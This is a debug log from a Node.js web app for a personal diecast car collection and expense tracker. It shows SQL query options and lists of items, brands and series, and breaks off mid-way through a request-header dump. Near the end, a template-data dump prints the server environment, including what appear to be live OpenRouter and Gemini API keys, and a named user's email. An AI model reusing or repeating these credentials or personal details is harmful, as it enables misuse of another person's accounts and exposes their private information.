2026-02-04T10:33:42.537Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.537Z server-connect:output identity: 1
2026-02-04T10:33:42.537Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.537Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.538Z server-connect:output restrict: undefined
2026-02-04T10:33:42.538Z server-connect:app Executing action step paged
2026-02-04T10:33:42.538Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:33:42.538Z server-connect:app Executing action step identify
2026-02-04T10:33:42.538Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.538Z server-connect:output identity: 1
2026-02-04T10:33:42.538Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.538Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.541Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:33:42.542Z server-connect:output restrict: undefined
2026-02-04T10:33:42.542Z server-connect:app Executing action step single
2026-02-04T10:33:42.543Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:33:42.543Z server-connect:output restrict: undefined
2026-02-04T10:33:42.543Z server-connect:app Executing action step select
2026-02-04T10:33:42.543Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:33:42.543Z server-connect:output restrict: undefined
2026-02-04T10:33:42.543Z server-connect:app Executing action step select
2026-02-04T10:33:42.543Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:33:42.546Z server-connect:output restrict: undefined
2026-02-04T10:33:42.546Z server-connect:app Executing action step select
2026-02-04T10:33:42.546Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:33:42.547Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:33:42.548Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:33:42.549Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:33:42.550Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:33:42.551Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:33:42.551Z server-connect:app Executing action step identify
2026-02-04T10:33:42.551Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.551Z server-connect:output identity: 1
2026-02-04T10:33:42.551Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.551Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.552Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    }
  ]
}
2026-02-04T10:33:42.553Z server-connect:output restrict: undefined
2026-02-04T10:33:42.553Z server-connect:app Executing action step select
2026-02-04T10:33:42.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:33:42.554Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:33:42.554Z server-connect:app Executing action step select
2026-02-04T10:33:42.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:33:42.554Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:33:42.554Z server-connect:app Executing action step select
2026-02-04T10:33:42.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:33:42.555Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:33:42.772Z server-connect:router Serving templateView /
2026-02-04T10:33:42.772Z server-connect:app Executing action step identify
2026-02-04T10:33:42.772Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.773Z server-connect:output identity: 1
2026-02-04T10:33:42.773Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.773Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:33:42.773Z server-connect:output restrict: undefined
2026-02-04T10:33:42.773Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.773Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:33:42.773Z server-connect:output restrict: undefined
2026-02-04T10:33:42.773Z server-connect:router Render template layouts/main
2026-02-04T10:33:42.774Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
